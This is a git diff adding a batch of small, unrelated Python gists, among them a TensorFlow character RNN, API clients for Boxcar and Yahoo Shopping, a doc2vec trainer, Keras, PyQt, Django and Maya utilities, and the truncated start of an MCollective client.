+tf.set_random_seed(seed_value)
+random.seed(seed_value)
+
+def one_hot(v):
+    return np.eye(vocab_size)[v]
+
+# Data I/O
+data = open(__file__, 'r').read()  # Use this source file as input for RNN
+chars = sorted(list(set(data)))
+data_size, vocab_size = len(data), len(chars)
+print('Data has %d characters, %d unique.' % (data_size, vocab_size))
+char_to_ix = {ch: i for i, ch in enumerate(chars)}
+ix_to_char = {i: ch for i, ch in enumerate(chars)}
+
+# Hyper-parameters
+hidden_size   = 100  # hidden layer's size
+seq_length    = 25   # number of steps to unroll
+learning_rate = 1e-1
+
+inputs     = tf.placeholder(shape=[None, vocab_size], dtype=tf.float32, name="inputs")
+targets    = tf.placeholder(shape=[None, vocab_size], dtype=tf.float32, name="targets")
+init_state = tf.placeholder(shape=[1, hidden_size], dtype=tf.float32, name="state")
+
+initializer = tf.random_normal_initializer(stddev=0.1)
+
+with tf.variable_scope("RNN") as scope:
+    hs_t = init_state
+    ys = []
+    for t, xs_t in enumerate(tf.split(inputs, seq_length, axis=0)):
+        if t > 0: scope.reuse_variables()  # Reuse variables
+        Wxh = tf.get_variable("Wxh", [vocab_size, hidden_size], initializer=initializer)
+        Whh = tf.get_variable("Whh", [hidden_size, hidden_size], initializer=initializer)
+        Why = tf.get_variable("Why", [hidden_size, vocab_size], initializer=initializer)
+        bh  = tf.get_variable("bh", [hidden_size], initializer=initializer)
+        by  = tf.get_variable("by", [vocab_size], initializer=initializer)
+
+        hs_t = tf.tanh(tf.matmul(xs_t, Wxh) + tf.matmul(hs_t, Whh) + bh)
+        ys_t = tf.matmul(hs_t, Why) + by
+        ys.append(ys_t)
+
+hprev = hs_t
+output_softmax = tf.nn.softmax(ys[-1])  # Get softmax for sampling
+
+outputs = tf.concat(ys, axis=0)
+loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=targets, logits=outputs))
+
+# Minimizer
+minimizer = tf.train.AdamOptimizer()
+grads_and_vars = minimizer.compute_gradients(loss)
+
+# Gradient clipping
+grad_clipping = tf.constant(5.0, name="grad_clipping")
+clipped_grads_and_vars = []
+for grad, var in grads_and_vars:
+    clipped_grad = tf.clip_by_value(grad, -grad_clipping, grad_clipping)
+    clipped_grads_and_vars.append((clipped_grad, var))
+
+# Gradient updates
+updates = minimizer.apply_gradients(clipped_grads_and_vars)
+
+# Session
+sess = tf.Session()
+init = tf.global_variables_initializer()
+sess.run(init)
+
+# Initial values
+n, p = 0, 0
+hprev_val = np.zeros([1, hidden_size])
+
+while True:
+    # Initialize
+    if p + seq_length + 1 >= len(data) or n == 0:
+        hprev_val = np.zeros([1, hidden_size])
+        p = 0  # reset
+
+    # Prepare inputs
+    input_vals  = [char_to_ix[ch] for ch in data[p:p + seq_length]]
+    target_vals = [char_to_ix[ch] for ch in data[p + 1:p + seq_length + 1]]
+
+    input_vals  = one_hot(input_vals)
+    target_vals = one_hot(target_vals)
+
+    hprev_val, loss_val, _ = sess.run([hprev, loss, updates],
+                                      feed_dict={inputs: input_vals,
+                                                 targets: target_vals,
+                                                 init_state: hprev_val})
+    if n % 500 == 0:
+        # Progress
+        print('iter: %d, p: %d, loss: %f' % (n, p, loss_val))
+
+        # Do sampling
+        sample_length = 200
+        start_ix      = random.randint(0, len(data) - seq_length)
+        sample_seq_ix = [char_to_ix[ch] for ch in data[start_ix:start_ix + seq_length]]
+        ixes          = []
+        sample_prev_state_val = np.copy(hprev_val)
+
+        for t in range(sample_length):
+            sample_input_vals = one_hot(sample_seq_ix)
+            sample_output_softmax_val, sample_prev_state_val = \
+                sess.run([output_softmax, hprev],
+                         feed_dict={inputs: sample_input_vals, init_state: sample_prev_state_val})
+
+            ix = np.random.choice(range(vocab_size), p=sample_output_softmax_val.ravel())
+            ixes.append(ix)
+            sample_seq_ix = sample_seq_ix[1:] + [ix]
+
+        txt = ''.join(ix_to_char[ix] for ix in ixes)
+        print('----\n %s \n----\n' % (txt,))
+
+    p += seq_length
+    n += 1
diff --git a/hard-gists/7eca8b9f0ff5b3bfb742/._snippet.py b/hard-gists/7eca8b9f0ff5b3bfb742/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7eca8b9f0ff5b3bfb742/._snippet.py differ
diff --git a/hard-gists/7eca8b9f0ff5b3bfb742/snippet.py b/hard-gists/7eca8b9f0ff5b3bfb742/snippet.py
new file mode 100644
index 00000000..0a6ce3db
--- /dev/null
+++ b/hard-gists/7eca8b9f0ff5b3bfb742/snippet.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python3
+
+import http.client
+import ssl
+import urllib.parse
+
+
+def boxcarpush():
+  # Prepare the notification parameters
+  params = urllib.parse.urlencode({
+  	'user_credentials': 'Your_Access_Token',
+  	'notification[title]': 'Menu Alert',
+  	'notification[long_message]': 'Chicken and waffles are on the menu today!',
+  	'notification[sound]': 'score'})
+  
+  # Create a secure connection to Boxcar and POST the message
+  context = ssl.create_default_context()
+  conn = http.client.HTTPSConnection('new.boxcar.io', context=context)
+  conn.request('POST', '/api/notifications', params)
+  
+  # Check the response
+  response = conn.getresponse()
+  print(response.status, response.reason)
+  data = response.read()
+  print(data)
+  
+  # Clean up the connection
+  conn.close()
+
+
+
+
+def get_daily_specials():
+  return '''Fried green tomatoes,
+	    Chicken and waffles,
+	    Beef stew,
+	    Brussels sprouts,
+	    Spam sandwich'''
+
+
+def main():
+  menu = get_daily_specials()
+  if 'chicken and waffles' in menu.lower():
+    boxcarpush()
+
+
+if __name__=='__main__':
+  main()
diff --git a/hard-gists/7ef2ef722e4520fba09c9f4d83ecc453/._snippet.py b/hard-gists/7ef2ef722e4520fba09c9f4d83ecc453/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7ef2ef722e4520fba09c9f4d83ecc453/._snippet.py differ
diff --git a/hard-gists/7ef2ef722e4520fba09c9f4d83ecc453/snippet.py b/hard-gists/7ef2ef722e4520fba09c9f4d83ecc453/snippet.py
new file mode 100644
index 00000000..868f1acc
--- /dev/null
+++ b/hard-gists/7ef2ef722e4520fba09c9f4d83ecc453/snippet.py
@@ -0,0 +1,133 @@
+# coding: utf-8
+
+import urllib.parse
+import urllib.request
+
+import xml.etree.ElementTree as ET
+
+
+class Yahoo(object):
+
+    response = None
+
+    def __init__(self, appid=None):
+        self.params = {
+            "appid": appid
+        }
+
+    # APIを叩く
+    def request(self, url, **kwargs):
+        self.params.update(kwargs)
+
+        query_string = urllib.parse.urlencode(self.params)
+
+        if query_string:
+            url = url + query_string
+
+        with urllib.request.urlopen(url) as f:
+            self.response = f.read()
+            self.request_url = f.geturl()
+        return self
+
+    # 生のレスポンスデータ
+    @property
+    def raw(self):
+        return self.response
+
+    # XMLをパースしたデータ
+    @property
+    def parse(self):
+        if self.response is None:
+            raise
+        return ET.fromstring(self.response)
+
+    @property
+    def total(self):
+        return self.parse.attrib["totalResultsAvailable"]
+
+    @property
+    def hits(self):
+        return int(self.parse.attrib["totalResultsReturned"])
+
+    @property
+    def first(self):
+        return int(self.parse.attrib["firstResultPosition"])
+    
+    @property
+    def page(self):
+        return self.first + self.hits - 1
+
+
+class Shopping(Yahoo):
+
+    NS = {
+        "itemSearch": "urn:yahoo:jp:itemSearch",
+        "itemLookup": "urn:yahoo:jp:itemLookup"
+    }
+
+    def lookup(self, **kwargs):
+        self.prefix = "itemLookup"
+        url = "http://shopping.yahooapis.jp/ShoppingWebService/V1/itemLookup?"
+        return self.request(url, **kwargs)
+
+    def search(self, **kwargs):
+        self.prefix = "itemSearch"
+        url = "http://shopping.yahooapis.jp/ShoppingWebService/V1/itemSearch?"
+        return self.request(url, **kwargs)
+
+    # 商品情報を取得するジェネレータ
+    @property
+    def items(self):
+        match = "{}:Hit".format(self.prefix)
+        for item in self.parse[0].findall(match, self.NS):
+            self._item = item
+            yield self
+
+    def find(self, tag):
+        item = self._item
+        for t in tag.split("."):
+            item = item.find("{}:{}".format(self.prefix, t), self.NS)
+        return item
+
+    @property
+    def id(self):
+        return self.find("Code").text
+
+    @property
+    def category(self):
+        return self.find("Category.Current.Name").text
+
+    @property
+    def name(self):
+        return self.find("Name").text
+
+    @property
+    def url(self):
+        return self.find("Url").text
+
+    @property
+    def price(self):
+        return self.find("Price").text
+
+    @property
+    def fixedprice(self):
+        return self.find("PriceLabel.FixedPrice").text
+
+    @property
+    def shopname(self):
+        return self.find("Store.Name").text
+
+    @property
+    def jancode(self):
+        return self.find("JanCode").text
+
+
+if __name__ == "__main__":
+    # APPIDを取得して下さい。
+    APPID = "APPID"
+
+    shopping = Shopping(APPID)
+    response = shopping.search(**{"query": "Python"})
+    for item in response.items:
+        print(item.find("Name").text)
+        print(item.find("Image.Medium").text)
diff --git a/hard-gists/7f1737a750d8246d325e/._snippet.py b/hard-gists/7f1737a750d8246d325e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f1737a750d8246d325e/._snippet.py differ
diff --git a/hard-gists/7f1737a750d8246d325e/snippet.py b/hard-gists/7f1737a750d8246d325e/snippet.py
new file mode 100644
index 00000000..532d3385
--- /dev/null
+++ b/hard-gists/7f1737a750d8246d325e/snippet.py
@@ -0,0 +1,92 @@
+from lxml import etree
+from elasticsearch.helpers import scan
+from elasticsearch import Elasticsearch
+from multiprocessing import Pool
+import bz2
+import gensim
+import itertools
+import logging
+import nltk
+import os
+import re
+import string
+import random
+import unicodedata
+
+
+logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.ERROR)
+logging.getLogger('gensim').setLevel(logging.INFO)
+
+tokenizer = nltk.tokenize.RegexpTokenizer(r'\w+')
+parser = etree.XMLParser(recover=True)
+es = Elasticsearch(['localhost'])
+PROCESSES = 5
+
+
+def create_model():
+    model = gensim.models.Doc2Vec(size=300, window=8, min_count=10, workers=16)
+    model.build_vocab(sentence_generator())
+
+    alpha, min_alpha, passes = (0.025, 0.001, 10)
+    alpha_delta = (alpha - min_alpha) / passes
+    for epoch in range(0, passes):
+        model.alpha, model.min_alpha = alpha, alpha
+        model.train(sentence_generator())
+        alpha -= alpha_delta
+        print('Finished epoch {}'.format(epoch))
+
+    model.save('doc2vec_model_300_10')
+
+
+def get_sentences(document):
+    sentences = nltk.sent_tokenize(document['fields']['content'][0])
+    sentences = [tokenize(sent) for sent in sentences]
+    final = []
+
+    for sentence_num, sentence in enumerate(sentences):
+        if len(sentence) == 0:
+            continue
+
+        final.append(gensim.models.doc2vec.TaggedDocument(
+            words=sentence,
+            tags=['{}_{}'.format(document['_id'], sentence_num)]
+        ))
+
+    return final
+
+
+def sentence_generator():
+    documents = scan(
+        es, index='nabu',
+        scroll='30m', fields='content'
+    )
+
+    with Pool(processes=PROCESSES) as p:
+        for sentences in p.imap(get_sentences, documents):
+            for sentence in sentences:
+                yield sentence
+
+
+es_replace = re.compile(r'es$')
+s_replace = re.compile(r's$')
+
+def remove_plural(token):
+    token = es_replace.sub('', token)
+    token = s_replace.sub('', token)
+    return token
+
+
+num_replace = re.compile(r'[0-9]+')
+
+def tokenize(sentence):
+    token_list = []
+    for token in tokenizer.tokenize(sentence):
+        nkfd_form = unicodedata.normalize('NFKD', token)
+        only_ascii = nkfd_form.encode('ASCII', 'ignore').decode('ascii')
+        final = num_replace.sub('DDD', only_ascii)
+        token_list.append(remove_plural(final.strip().lower()))
+
+    return token_list
+
+if __name__ == '__main__':
+    create_model()
diff --git a/hard-gists/7f3ab982eb65900c5159/._snippet.py b/hard-gists/7f3ab982eb65900c5159/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f3ab982eb65900c5159/._snippet.py differ
diff --git a/hard-gists/7f3ab982eb65900c5159/snippet.py b/hard-gists/7f3ab982eb65900c5159/snippet.py
new file mode 100644
index 00000000..640cf740
--- /dev/null
+++ b/hard-gists/7f3ab982eb65900c5159/snippet.py
@@ -0,0 +1,26 @@
+''' 
+Taking Screenshots with Appium
+
+I'll be using Python and a sample iOS application from Apple's Developer Library
+This tutorial assumes you understand how to run, launch, and interact with your application.
+
+'''
+
+from appium import webdriver
+import os
+
+desired_capabilities = {}
+
+# Build and run the GLPaint app, then specify the absolute path below
+# GLPaint can be downloaded from: https://developer.apple.com/library/ios/samplecode/GLPaint/Introduction/Intro.html
+desired_capabilities['app'] = '/Users/jessicasachs/projects/demo-automation/demo-apps/compiled/GLPaint.app'
+desired_capabilities['deviceName'] = 'iPhone Simulator'
+desired_capabilities['platformName'] = 'iOS'
+desired_capabilities['platformVersion'] = '7.1'
+
+driver = webdriver.Remote('http://0.0.0.0:4723/wd/hub', desired_capabilities)
+
+directory = '%s/' % os.getcwd()
+file_name = 'screenshot.png'
+
+driver.save_screenshot(directory + file_name)
\ No newline at end of file
diff --git a/hard-gists/7f46e790c9e342d75dcbd9b1deb9d940/._snippet.py b/hard-gists/7f46e790c9e342d75dcbd9b1deb9d940/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f46e790c9e342d75dcbd9b1deb9d940/._snippet.py differ
diff --git a/hard-gists/7f46e790c9e342d75dcbd9b1deb9d940/snippet.py b/hard-gists/7f46e790c9e342d75dcbd9b1deb9d940/snippet.py
new file mode 100644
index 00000000..66020661
--- /dev/null
+++ b/hard-gists/7f46e790c9e342d75dcbd9b1deb9d940/snippet.py
@@ -0,0 +1,107 @@
+import numpy as np
+from keras.layers import GRU, initializations, K
+from collections import OrderedDict
+
+class GRULN(GRU):
+    '''Gated Recurrent Unit with Layer Normalization
+    Current impelemtation only works with consume_less = 'gpu' which is already
+    set.
+
+    # Arguments
+        output_dim: dimension of the internal projections and the final output.
+        ...: see GRU documentation for all other arguments.
+        gamma_init: name of initialization function for scale parameter.
+            The default is 1, but in some cases this is too high resulting
+            in NaN loss while training. If this happens try reducing to 0.2
+
+    # References
+        -[Layer Normalization](https://arxiv.org/abs/1607.06450)
+    '''
+    def __init__(self, output_dim, gamma_init=1., **kwargs):
+        if 'consume_less' in kwargs:
+            assert kwargs['consume_less'] == 'gpu'
+        else:
+            kwargs = kwargs.copy()
+            kwargs['consume_less']='gpu'
+        super(GRULN, self).__init__(output_dim, **kwargs)
+
+        def gamma_init_func(shape, c=gamma_init, **kwargs):
+            if c == 1.:
+                return initializations.get('one')(shape, **kwargs)
+            return K.variable(np.ones(shape) * c, **kwargs)
+
+        self.gamma_init = gamma_init_func
+        self.beta_init = initializations.get('zero')
+        self.epsilon = 1e-5
+
+    def build(self, input_shape):
+        super(GRULN, self).build(input_shape)
+        shape = (self.output_dim,)
+        shape1 = (2*self.output_dim,)
+        # LN is applied in 4 inputs/outputs (fields) of the cell
+        gammas = OrderedDict()
+        betas = OrderedDict()
+        # each location has its own BN
+        for slc, shp in zip(['state_below', 'state_belowx', 'preact', 'preactx'], [shape1, shape, shape1, shape]):
+            gammas[slc] = self.gamma_init(shp,
+                                          name='{}_gamma_{}'.format(
+                                              self.name, slc))
+            betas[slc] = self.beta_init(shp,
+                                        name='{}_beta_{}'.format(
+                                            self.name, slc))
+
+        self.gammas = gammas
+        self.betas = betas
+
+        self.trainable_weights += self.gammas.values() + self.betas.values()
+
+    def ln(self, x, slc):
+        # sample-wise normalization
+        m = K.mean(x, axis=-1, keepdims=True)
+        std = K.sqrt(K.var(x, axis=-1, keepdims=True) + self.epsilon)
+        x_normed = (x - m) / (std + self.epsilon)
+        x_normed = self.gammas[slc] * x_normed + self.betas[slc]
+        return x_normed
+
+    def step(self, x, states):
+        h_tm1 = states[0]  # previous memory
+        B_U = states[1]  # dropout matrices for recurrent units
+        B_W = states[2]
+
+        matrix_x = K.dot(x * B_W[0], self.W) + self.b
+        x_ = self.ln(matrix_x[:, : 2 * self.output_dim], 'state_below')
+        xx_ = self.ln(matrix_x[:, 2 * self.output_dim:], 'state_belowx')
+        matrix_inner = self.ln(K.dot(h_tm1 * B_U[0], self.U[:, :2 * self.output_dim]), 'preact')
+
+        x_z = x_[:, :self.output_dim]
+        x_r = x_[:, self.output_dim: 2 * self.output_dim]
+        inner_z = matrix_inner[:, :self.output_dim]
+        inner_r = matrix_inner[:, self.output_dim: 2 * self.output_dim]
+
+        z = self.inner_activation(x_z + inner_z)
+        r = self.inner_activation(x_r + inner_r)
+
+        x_h = xx_
+        inner_h = r * self.ln(K.dot(h_tm1 * B_U[0], self.U[:, 2 * self.output_dim:]), 'preactx')
+        hh = self.activation(x_h + inner_h)
+
+        h = z * h_tm1 + (1 - z) * hh
+        return h, [h]
+
+if __name__ == '__main__':
+    from keras.layers import Input
+    from keras.engine.training import Model
+
+    np.random.seed(42)
+
+    input = Input(batch_shape=(5, 6, 7), dtype='float32',name='input')
+
+    rnn = GRULN(10)
+    output = rnn(input)
+    model = Model(input=input, output=output)
+    model.compile(loss='mse', optimizer='sgd')
+    data = np.ones((5,6,7), dtype='float32')
+    probs = model.predict(data,batch_size=5)
+    print probs.shape,probs.mean()
+    # (5, 10) 0.0689924
+    print rnn.trainable_weights
\ No newline at end of file
diff --git a/hard-gists/7f4e44a42b8e1f457f77/._snippet.py b/hard-gists/7f4e44a42b8e1f457f77/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f4e44a42b8e1f457f77/._snippet.py differ
diff --git a/hard-gists/7f4e44a42b8e1f457f77/snippet.py b/hard-gists/7f4e44a42b8e1f457f77/snippet.py
new file mode 100644
index 00000000..0060daea
--- /dev/null
+++ b/hard-gists/7f4e44a42b8e1f457f77/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import sys
+
+## namespace organization changed in PyQt5 but the class name was kept.
+## importing this way makes it easier to change to PyQt5 later
+from PyQt4.QtGui import (QMainWindow, QApplication, QDockWidget, QWidget,
+                         QGridLayout, QSlider)
+from PyQt4.QtCore import Qt
+
+import numpy
+import matplotlib.pyplot
+import matplotlib.backends.backend_qt4agg
+
+class MainWindow (QMainWindow):
+
+  x = numpy.arange (0, 10, 0.1)
+  cos = 0
+  sin = 0
+
+  def __init__ (self):
+    QMainWindow.__init__ (self)
+
+    self.figure  = matplotlib.pyplot.figure ()
+    self.drawing = self.figure.add_subplot (111)
+    self.canvas  = matplotlib.backends.backend_qt4agg.FigureCanvasQTAgg (self.figure)
+
+    self.setCentralWidget (self.canvas)
+
+    dock = QDockWidget ("Values")
+    self.addDockWidget (Qt.RightDockWidgetArea, dock)
+
+    sliders = QWidget ()
+    sliders_grid = QGridLayout (sliders)
+
+    def add_slider (foo, col):
+      sld = QSlider (Qt.Vertical, sliders)
+      sld.setFocusPolicy (Qt.NoFocus)
+      sld.valueChanged[int].connect (foo)
+      sld.valueChanged.connect (self.plot)
+      sliders_grid.addWidget (sld, 0, col)
+
+    add_slider (foo = self.set_cos, col = 0)
+    add_slider (foo = self.set_sin, col = 1)
+
+    dock.setWidget (sliders)
+
+    self.plot ()
+
+  def set_cos (self, v):
+    self.cos = v / float (100)
+
+  def set_sin (self, v):
+    self.sin = v / float (100)
+
+  def plot (self):
+    self.drawing.hold (False)
+    s = numpy.sin (self.x + self.sin)
+    c = numpy.cos (self.x + self.cos)
+    self.drawing.plot (self.x, s, 'r', self.x, c, 'r', self.x, s +c, 'b')
+    self.drawing.set_ylim (-2, 2)
+    self.canvas.draw ()
+
+if __name__ == "__main__":
+  app = QApplication (sys.argv)
+  main = MainWindow ()
+  main.show ()
+  sys.exit (app.exec_ ())
\ No newline at end of file
diff --git a/hard-gists/7f73238f55b7158b6852/._snippet.py b/hard-gists/7f73238f55b7158b6852/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f73238f55b7158b6852/._snippet.py differ
diff --git a/hard-gists/7f73238f55b7158b6852/snippet.py b/hard-gists/7f73238f55b7158b6852/snippet.py
new file mode 100644
index 00000000..e9c0bd85
--- /dev/null
+++ b/hard-gists/7f73238f55b7158b6852/snippet.py
@@ -0,0 +1,14 @@
+from django import forms
+from django.forms.forms import NON_FIELD_ERRORS
+
+class AddErrorMixin(object):
+    "Backport add_error() for django <1.7"
+    def add_error(self, field, msg):
+        field = field or NON_FIELD_ERRORS
+        if field in self._errors:
+            self._errors[field].append(msg)
+        else:
+            self._errors[field] = self.error_class([msg])
+
+class ExampleForm(AddErrorMixin, forms.Form):
+    pass
\ No newline at end of file
diff --git a/hard-gists/7f79c85c8883268660bd/._snippet.py b/hard-gists/7f79c85c8883268660bd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f79c85c8883268660bd/._snippet.py differ
diff --git a/hard-gists/7f79c85c8883268660bd/snippet.py b/hard-gists/7f79c85c8883268660bd/snippet.py
new file mode 100644
index 00000000..f1dbc15b
--- /dev/null
+++ b/hard-gists/7f79c85c8883268660bd/snippet.py
@@ -0,0 +1,90 @@
+import pymel.core as pm
+import re
+
+def parseVtxIdx(idxList):
+    """convert vertex index list from strings to indexes.
+    idxList : [u'vtx[1]', u'vtx[3]', u'vtx[6]', u'vtx[8]', u'vtx[12:13]']
+    return : [1,3,6,8,12,13]
+    """
+
+    parseIdxList = []
+
+    for idxName in idxList:
+        match = re.search(r'\[.+\]', idxName)
+        if match:
+            content = match.group()[1:-1]
+            if ':' in content:
+                tokens = content.split(':')
+                startTok = int(tokens[0])
+                endTok = int(tokens[1])
+
+                for rangeIdx in range(startTok, endTok + 1):
+                    parseIdxList.append(rangeIdx)
+
+            else:
+                parseIdxList.append(int(content))
+
+    return parseIdxList
+
+
+def recoverMesh(bsNode, weightIdx):
+    """recover the blendshape target from blendshape target attribute.
+    usually blendshape targets are deleted after editing to save disk space and
+    save / load / calculation time.
+    but if you need to re-edit them later, there's no option in current maya tool
+    to do so.
+    """
+    bsNode = pm.PyNode(bsNode)
+
+    bsNode.envelope.set(0)
+
+    aliasName = pm.aliasAttr(bsNode.weight[weightIdx], query=True)
+
+    finalMeshes = pm.listFuture(bsNode,type="mesh")
+    
+    finalParent = None
+    newParent = None
+
+    # it is a group blendshapes
+    if len(finalMeshes) > 1:
+        finalParent = finalMeshes[0].getParent()
+
+    if finalParent:
+        newParent = pm.createNode('transform')
+        pm.rename(newParent, aliasName)
+        pm.delete(pm.parentConstraint(finalParent, newParent, mo=0))
+
+    for finalIdx, finalMesh in enumerate(finalMeshes):
+        newMesh = pm.duplicate(finalMesh)[0]
+        newMeshShape = newMesh.getShape()
+
+        vtxDeltaList = bsNode.inputTarget[finalIdx].inputTargetGroup[weightIdx].inputTargetItem[6000].inputPointsTarget.get()
+        vtxIdxList = bsNode.inputTarget[finalIdx].inputTargetGroup[weightIdx].inputTargetItem[6000].inputComponentsTarget.get()
+
+        # get bs shape
+        if vtxIdxList:
+            # need to convert [u'vtx[8]', u'vtx[11:13]] to [8,11,12,13]
+            singleIdxList = parseVtxIdx(vtxIdxList)
+
+            for vtxIdx,moveAmount in zip(singleIdxList,vtxDeltaList):
+                pm.move('%s.vtx[%d]'%(newMesh.name(),vtxIdx),moveAmount,r=1)
+
+        newMeshShape.worldMesh[0] >> bsNode.inputTarget[finalIdx].inputTargetGroup[weightIdx].inputTargetItem[6000].inputGeomTarget
+
+        if newParent:
+            pm.parent(newMesh,newParent)
+            pm.rename(newMesh,finalMesh.name())
+
+        else:
+            pm.rename(newMesh,aliasName)
+            if newMesh.getParent():
+                pm.parent(newMesh,world=1)
+
+    bsNode.envelope.set(1)
+
+    if newParent:
+        return newParent
+    elif newMesh:
+        return newMesh
+
+recoverMesh("blendShape1",0)
\ No newline at end of file
diff --git a/hard-gists/7f9422fc8372b7c4b1a2/._snippet.py b/hard-gists/7f9422fc8372b7c4b1a2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7f9422fc8372b7c4b1a2/._snippet.py differ
diff --git a/hard-gists/7f9422fc8372b7c4b1a2/snippet.py b/hard-gists/7f9422fc8372b7c4b1a2/snippet.py
new file mode 100644
index 00000000..82e865bc
--- /dev/null
+++ b/hard-gists/7f9422fc8372b7c4b1a2/snippet.py
@@ -0,0 +1,119 @@
+import mysql.connector
+import datetime
+
+# MySQL Connection Parameters
+
+cnx = mysql.connector.connect(user='xxx', password='xxx',
+                              host='xx',
+                              database='xx')
+
+# Querying for data
+
+cursor = cnx.cursor()
+
+select = "select id,date from xxx order by id"
+
+cursor.execute(select)
+
+
+all_dates_from_news = []
+all_ids_from_news = []
+
+# Making Python dictionary (collections) from retrieved ID and Date from database
+
+for i in cursor:
+    all_ids_from_news.append(i[0])
+    value = datetime.datetime.fromtimestamp(float(i[1]))
+    value = value.strftime('%Y-%m-%d %H:%M:%S')
+    all_dates_from_news.append(value)
+
+
+dict_from_select = dict(zip(all_ids_from_news, all_dates_from_news))
+
+
+print "##################"
+
+# Generating an incremental set of numbers from min(ID) to max(ID)
+
+counter = 36306
+
+all_ids = []
+    
+while counter < 90129:
+    all_ids.append(counter)
+    counter = counter + 1
+
+print "########################"
+    
+# Finding those IDs that does not appear in database
+
+excluded_ids = []
+    
+for i in all_ids:
+    if i not in all_ids_from_news:
+        excluded_ids.append(i)
+        
+
+print len(excluded_ids)
+print "############################"
+
+    
+# #######################################################################################################
+
+# Finding only those IDs which are incremente only by 1.
+
+incremented_ids = []
+
+for x ,y  in zip(excluded_ids, excluded_ids[1:]):
+    #print x ,y
+    if y-x==1:
+       incremented_ids.append(x)
+       incremented_ids.append(y)
+
+
+incremented_ids_sorted = sorted(set(incremented_ids))
+
+
+
+# ########################################################################################################
+
+"""
+Original Code from Adil Aliyev.
+URL: https://www.facebook.com/adilek
+"""
+# Finding values incremented by 1 and creating from these values portions 
+
+t = []
+
+new_t = []
+for i in range(0,len(incremented_ids_sorted)-1):
+	p=(incremented_ids_sorted[i]-incremented_ids_sorted[i-1]==1)
+	if p:
+		t.append(incremented_ids_sorted[i])
+	else:
+		new_t.append(t)
+		t = []
+		t.append(incremented_ids_sorted[i])
+
+# ########################################################################################################
+
+new_list_from_ids  = []
+
+# Finding those chunks of incremented values which lenght more than 5
+
+for i in range(len(new_t)):
+	if len(new_t[i]) > 5:
+		#print new_t[i]
+                new_list_from_ids.append(new_t[i])
+
+# Finding the date of publishing of these values
+for i in new_list_from_ids:
+    print "Silinen melumat sayi? : " , len(i)
+    #print min(i), max(i)
+    x = min(i) - 1
+    y = max(i) + 1
+    print "Silinen melumatlarin daxil edilme tarix araliqlari: "
+    print dict_from_select[x]
+    print dict_from_select[y]
+
+
diff --git a/hard-gists/7fd265e5419efe71477ca560801d0130/._snippet.py b/hard-gists/7fd265e5419efe71477ca560801d0130/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7fd265e5419efe71477ca560801d0130/._snippet.py differ
diff --git a/hard-gists/7fd265e5419efe71477ca560801d0130/snippet.py b/hard-gists/7fd265e5419efe71477ca560801d0130/snippet.py
new file mode 100644
index 00000000..504825e2
--- /dev/null
+++ b/hard-gists/7fd265e5419efe71477ca560801d0130/snippet.py
@@ -0,0 +1,16 @@
+import sys
+CAFFE_ROOT = '../../'
+sys.path.insert(0, CAFFE_ROOT + 'python/')
+import caffe
+import numpy as np
+
+if len(sys.argv) != 3:
+    print "Usage: python protomean_to_npy.py proto.mean out.npy"
+    sys.exit()
+
+blob = caffe.proto.caffe_pb2.BlobProto()
+data = open( sys.argv[1] , 'rb' ).read()
+blob.ParseFromString(data)
+arr = np.array( caffe.io.blobproto_to_array(blob) )
+out = arr[0]
+np.save( sys.argv[2] , out )
\ No newline at end of file
diff --git a/hard-gists/7fd4c975883074a99864/._snippet.py b/hard-gists/7fd4c975883074a99864/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7fd4c975883074a99864/._snippet.py differ
diff --git a/hard-gists/7fd4c975883074a99864/snippet.py b/hard-gists/7fd4c975883074a99864/snippet.py
new file mode 100644
index 00000000..551a369a
--- /dev/null
+++ b/hard-gists/7fd4c975883074a99864/snippet.py
@@ -0,0 +1,28 @@
+import ntlk
+
+class SnowCastleStemmer(nltk.stem.SnowballStemmer):
+    """ A wrapper around snowball stemmer with a reverse lookip table """
+    
+    def __init__(self, *args, **kwargs):
+        super(self.__class__, self).__init__(*args, **kwargs)
+        self._stem_memory = defaultdict(set)
+        # switch stem and memstem
+        self._stem=self.stem
+        self.stem=self.memstem
+        
+    def memstem(self, word):
+        """ Wrapper around stem that remembers """
+        stemmed_word = self._stem(word)
+        self._stem_memory[stemmed_word].add(word)
+        return stemmed_word
+        
+    def unstem(self, stemmed_word):
+        """ Reverse lookup """
+        return sorted(self._stem_memory[stemmed_word], key=len)
+        
+if __name__=='__main__':
+  stemmer= SnowCastleStemmer('english')
+  stemmer.stem("building")
+  stemmer.stem("build")
+  stemmer.stem("builds")
+  assert(['build', 'builds', 'building'] == stemmer.unstem("build"))
\ No newline at end of file
diff --git a/hard-gists/801265/._snippet.py b/hard-gists/801265/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/801265/._snippet.py differ
diff --git a/hard-gists/801265/snippet.py b/hard-gists/801265/snippet.py
new file mode 100644
index 00000000..4d56fe01
--- /dev/null
+++ b/hard-gists/801265/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/python
+import sys
+import syck as yaml
+import time
+from hashlib import sha1
+from M2Crypto.RSA import load_pub_key, load_key
+from stompy.simple import Client
+
+# Change these.
+PREFIX = 'mcollective'
+CERTNAME = 'certificate-name'
+s = Client('stomp.server')
+s.connect('stompusername','stomppassword')
+rr = load_key('path-to-unencrypted-private-key.pem')
+
+target = '/topic/%s.discovery.command' % PREFIX
+target_reply = '/topic/%s.discovery.reply' % PREFIX
+s.subscribe(target_reply)
+rid = sha1(str(time.time())).hexdigest()
+
